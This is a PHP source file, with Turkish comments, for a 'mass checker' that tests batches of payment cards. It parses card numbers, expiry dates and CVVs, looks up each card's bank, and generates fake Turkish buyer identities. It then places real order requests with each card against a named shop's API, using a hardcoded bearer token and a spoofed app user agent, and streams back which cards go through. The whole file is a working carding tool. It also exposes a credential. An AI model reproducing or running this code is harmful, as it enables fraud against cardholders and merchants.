<?php
// 2DMoka MASS Checker API
// Real-time SSE ile sonuç güncelleme

error_reporting(0);
set_time_limit(120); // 2 dakika timeout

// SSE Headers
header('Content-Type: text/event-stream');
header('Cache-Control: no-cache');
header('Connection: keep-alive');
header('X-Accel-Buffering: no'); // Nginx buffering devre dışı

// Flush fonksiyonu
function send_sse($data) {
    echo "data: " . json_encode($data, JSON_UNESCAPED_UNICODE) . "\n\n";
    if (ob_get_level() > 0) {
        ob_flush();
    }
    flush();
}

// Random data generator (2dmoka.php'den)
function generate_random_data() {
    $first_names = ["Ahmet", "Mehmet", "Ayşe", "Fatma", "Ali", "Veli", "Zeynep", "Elif", "Mustafa", "Emine"];
    $last_names = ["Yılmaz", "Kaya", "Demir", "Çelik", "Şahin", "Yıldız", "Öztürk", "Aydın", "Özdemir", "Arslan"];
    
    $cities = ["İstanbul", "Ankara", "İzmir", "Bursa", "Antalya", "Adana", "Konya", "Gaziantep", "Şanlıurfa", "Mersin"];
    $districts = [
        "İstanbul" => ["Kadıköy", "Beşiktaş", "Şişli", "Üsküdar", "Beyoğlu"],
        "Ankara" => ["Çankaya", "Keçiören", "Mamak", "Yenimahalle", "Etimesgut"],
        "İzmir" => ["Konak", "Karşıyaka", "Bornova", "Buca", "Çiğli"],
        "Bursa" => ["Osmangazi", "Nilüfer", "Yıldırım", "Gemlik", "İnegöl"],
        "Antalya" => ["Muratpaşa", "Kepez", "Konyaaltı", "Alanya", "Manavgat"],
        "Adana" => ["Seyhan", "Yüreğir", "Çukurova", "Sarıçam", "Karaisalı"],
        "Konya" => ["Selçuklu", "Meram", "Karatay", "Ereğli", "Akşehir"],
        "Gaziantep" => ["Şahinbey", "Şehitkamil", "Oğuzeli", "Nizip", "İslahiye"],
        "Şanlıurfa" => ["Eyyübiye", "Haliliye", "Karaköprü", "Viranşehir", "Suruç"],
        "Mersin" => ["Akdeniz", "Mezitli", "Toroslar", "Yenişehir", "Tarsus"]
    ];
    
    $first_name = $first_names[array_rand($first_names)];
    $last_name = $last_names[array_rand($last_names)];
    $city = $cities[array_rand($cities)];
    $district = $districts[$city][array_rand($districts[$city])];
    
    $gsm_sender = "530 " . rand(100, 999) . " " . rand(10, 99) . " " . rand(10, 99);
    $gsm_receiver = "530 " . rand(100, 999) . " " . rand(10, 99) . " " . rand(10, 99);
    $gsm_main = (rand(0, 1) == 0) ? $gsm_sender : $gsm_receiver;
    
    $email_providers = ["gmail.com", "hotmail.com", "outlook.com", "yandex.com"];
    $email = strtolower($first_name) . rand(100, 999) . "@" . $email_providers[array_rand($email_providers)];
    
    $street_names = ["Atatürk", "İstiklal", "Cumhuriyet", "Fatih", "Mimar Sinan"];
    $address = $street_names[array_rand($street_names)] . " Cad. No:" . rand(1, 150) . " Daire:" . rand(1, 20) . " " . $district . "/" . $city;
    
    return [
        "name" => $first_name . " " . $last_name,
        "surname" => $last_name,
        "cardholder" => $first_name . " " . $last_name,
        "sender_name" => $first_name . " " . $last_name,
        "city" => $city,
        "state" => $district,
        "order_adress" => $address,
        "gsm" => $gsm_main,
        "gsm_sender" => $gsm_sender,
        "gsm_receiver" => $gsm_receiver,
        "mail" => $email
    ];
}

// Kartları al
$cards_param = isset($_GET['cards']) ? $_GET['cards'] : '';
$cards_raw = explode("\n", trim($cards_param));

// Boş satırları temizle ve maksimum 10 kart
$cards = [];
foreach ($cards_raw as $card) {
    $card = trim($card);
    if (!empty($card)) {
        $cards[] = $card;
    }
    if (count($cards) >= 10) {
        break;
    }
}

$total = count($cards);

if ($total == 0) {
    send_sse([
        'type' => 'error',
        'message' => 'Kart bilgisi bulunamadı'
    ]);
    exit;
}

// BIN cache
$bin_cache = [];

// API Configuration
$api_url = "https://app.kedi7.com/api/customer/order";
$bearer_token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOjM5OTcwNCwiaXNzIjoiaHR0cHM6Ly9hcHAua2VkaTcuY29tL2FwaS91c2VyX3ZlcmlmaWNhdGlvbiIsImlhdCI6MTc2MjU0NjIwMiwiZXhwIjozNzc2MjU0NjIwMiwibmJmIjoxNzYyNTQ2MjAyLCJqdGkiOiJpYUxOUUtBbEdKSnVNdjNMIn0.6YKMKH92olAHW-Q_RrEcpMN4CzmjXhbj4PnNCLNXBXw";

$results = [];

// Her kartı işle
foreach ($cards as $index => $card_line) {
    $num = $index + 1;
    
    // Kart bilgilerini parse et
    $kart_parts = explode('|', $card_line);
    
    if (count($kart_parts) != 4) {
        $results[] = [
            'number' => $num,
            'card' => $card_line,
            'bank' => 'N/A',
            'message' => 'Kart formatı hatalı'
        ];
        
        // Progress gönder
        send_sse([
            'type' => 'progress',
            'current' => $num,
            'total' => $total,
            'results' => $results
        ]);
        
        continue;
    }
    
    $card_input = str_replace(' ', '', $kart_parts[0]);
    $month_input = $kart_parts[1];
    $year_input = substr($kart_parts[2], -2);
    $cvv_input = $kart_parts[3];
    
    // Kart formatını kontrol et
    if (strlen($card_input) != 16) {
        $results[] = [
            'number' => $num,
            'card' => $card_line,
            'bank' => 'N/A',
            'message' => 'Kart numarası 16 haneli olmalı'
        ];
        
        send_sse([
            'type' => 'progress',
            'current' => $num,
            'total' => $total,
            'results' => $results
        ]);
        
        continue;
    }
    
    // Format card with spaces
    $formatted_card = substr($card_input, 0, 4) . ' ' . substr($card_input, 4, 4) . ' ' . substr($card_input, 8, 4) . ' ' . substr($card_input, 12, 4);
    
    // BIN bilgisi al (cache kullan)
    $bin = substr($card_input, 0, 6);
    
    if (!isset($bin_cache[$bin])) {
        $bin_url = "http://localhost/yenicheckbotaerithia/apiler/binapi.php?bin=$bin";
        $bin_response = @file_get_contents($bin_url);
        $bin_info = "Unknown";
        
        if ($bin_response) {
            $bin_data = json_decode($bin_response, true);
            if (is_array($bin_data)) {
                $selected_db = null;
                
                if (isset($bin_data['global2_db']) && is_array($bin_data['global2_db']) && !empty($bin_data['global2_db']['bank'])) {
                    $selected_db = $bin_data['global2_db'];
                } elseif (isset($bin_data['tr_db']) && is_array($bin_data['tr_db']) && !empty($bin_data['tr_db']['bank'])) {
                    $selected_db = $bin_data['tr_db'];
                } elseif (isset($bin_data['global_db']) && is_array($bin_data['global_db']) && !empty($bin_data['global_db']['bank'])) {
                    $selected_db = $bin_data['global_db'];
                }
                
                if ($selected_db) {
                    $bin_info = isset($selected_db['bank']) ? $selected_db['bank'] : 'Unknown';
                }
            }
        }
        
        $bin_cache[$bin] = $bin_info;
    } else {
        $bin_info = $bin_cache[$bin];
    }
    
    // Random data oluştur
    $random_data = generate_random_data();
    
    // Request Body
    $requestData = [
        "cartId" => "20251107-1952-8717-b041-b93bac182d9f",
        "name" => $random_data["name"],
        "surname" => $random_data["surname"],
        "order_adress" => $random_data["order_adress"],
        "city" => $random_data["city"],
        "state" => $random_data["state"],
        "post_code" => "",
        "gsm" => $random_data["gsm"],
        "gsm_receiver" => $random_data["gsm_receiver"],
        "gsm_sender" => $random_data["gsm_sender"],
        "mail" => $random_data["mail"],
        "sender_name" => $random_data["sender_name"],
        "payment_type" => 4,
        "cargo_id" => "11",
        "note" => null,
        "gift_price" => 31.0,
        "gift_package" => 0,
        "cardholder" => $random_data["cardholder"],
        "cardnumber" => $formatted_card,
        "cardcvv2" => $cvv_input,
        "cardexpiredatemonth" => $month_input,
        "cardexpiredateyear" => $year_input,
        "bank_id" => null,
        "total_amount" => 120.0,
        "products" => [
            [
                "product_id" => "98",
                "count" => 1,
                "images" => [
                    ["hash" => "$2y$10$qcpz.g6qKGNgSaW7iUQ9e.uyvNHtY062ccYKAhgqnR65R/dIs22H6", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                    ["hash" => "$2y$10$U2L6/QjB8bOQrx873e79D.m22y5sSKf.HFFTajp2Hcl8thjH7k.ei", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                    ["hash" => "$2y$10$95yQdTAeu0SZBFsOPwaGpeGVzZvywOV712vI5QKYvbQWW51SjMWXO", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                    ["hash" => "$2y$10$VYEiRVB49SR.2GRLPghDvuHzOslbRC/Fzm7CxzbSpMkwBnr6Dkt1C", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                    ["hash" => "$2y$10$8Lro7ZFYeUSrMsSxwF3hRO7HisGlA1oRJp77PCmGe3FPI8q2uUe4G", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                    ["hash" => "$2y$10$aYo8SdXZUlzS0wZAVCjVn.EAK5UdcLc.v4IZbEc3wB8iTVboFuqKC", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                    ["hash" => "$2y$10$BqimFMx8kVevJ7uvBZvIX..a84xQ5L6lLDgMWiKKVO3toEJTLVeUq", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                    ["hash" => "$2y$10$wwhKds8i5B.bPGfkP2qj3.PkRl9XAQKsj76TubPbSAPGQFFdHD5wq", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                    ["hash" => "$2y$10$xaFVY2ZsM81HSEBnmlAsQ.z0OxZXiRPZRGykkn.yEuMtLPQ7JwJAK", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                    ["hash" => "$2y$10$K85LGa8i/8IaUXE8DJya4eHWCAsHMRh1ZIfXrC83lyzlQoYIsHjbG", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                    ["hash" => "$2y$10$vowTNGV.XzhWQWkXSbCIJ.nkr3EbihKKWRWNINbMsMybBkGjfqW6u", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                    ["hash" => "$2y$10$JrlC8kUTcZxxoQ6VT41CQOJY4IJUD4lXeWIexA6oj7qvcdbFKnKXy", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                    ["hash" => "$2y$10$PLcAM5y.ymL1lyjYA4sVcum6tB3iNyJvAGQ06trjpKzEFoqkulVvy", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                    ["hash" => "$2y$10$ehY2zGqBxWyTTxth/Wi.me4YQC1BfaGG8aRYTfYcQdeNUjOaXD5n.", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                    ["hash" => "$2y$10$kRDjYk.8wjfCcbSOOVw9xeQlzTDL4ifg2o3nC.9TeMAFC/TPA07P6", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                    ["hash" => "$2y$10$fk82Y.UQe3tFREVrDO6yIe4rS4pAWupCAKnnypK1uJij0UNsBXGLy", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                    ["hash" => "$2y$10$g.2SCrm3y.3rTOw3J3yWCe4R6sjTTUckQZXRIagx.KSjE/mlOKU6O", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                    ["hash" => "$2y$10$LOwQYDpGIcWsQAfG6oGHhespq/Zm.Ik6xK26gYB163XU4c6EYFdSS", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                    ["hash" => "$2y$10$n/uq.zwygr9lGrlG.2mdxOQkAAGtp0d/Ox/VG9CAT6a1DJfemiByu", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                    ["hash" => "$2y$10$vpB9Mo8Q5WYt6TsImaa.Eu8AEdeeNIcYUKgQa42Z/6CbfiUmNTHQO", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null]
                ]
            ]
        ]
    ];
    
    $jsonData = json_encode($requestData);
    
    // cURL isteği
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $api_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $jsonData);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
    curl_setopt($ch, CURLOPT_TIMEOUT, 6); // 6 saniye timeout
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Accept-Encoding: gzip',
        'Authorization: Bearer ' . $bearer_token,
        'Content-Type: application/json',
        'Content-Length: ' . strlen($jsonData),
        'Host: app.kedi7.com',
        'User-Agent: Dart/3.5 (dart:io)'
    ]);
    
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    // Response parse et
    $message = 'API yanıt vermedi';
    if ($response) {
        $response_data = json_decode($response, true);
        $message = isset($response_data['message']) ? $response_data['message'] : 'Unknown error';
    }
    
    // Sonuç ekle
    $results[] = [
        'number' => $num,
        'card' => $card_line,
        'bank' => $bin_info,
        'message' => $message
    ];
    
    // Progress gönder
    send_sse([
        'type' => 'progress',
        'current' => $num,
        'total' => $total,
        'results' => $results
    ]);
}

// Final sonuç
send_sse([
    'type' => 'complete',
    'total' => $total,
    'results' => $results
]);

?>
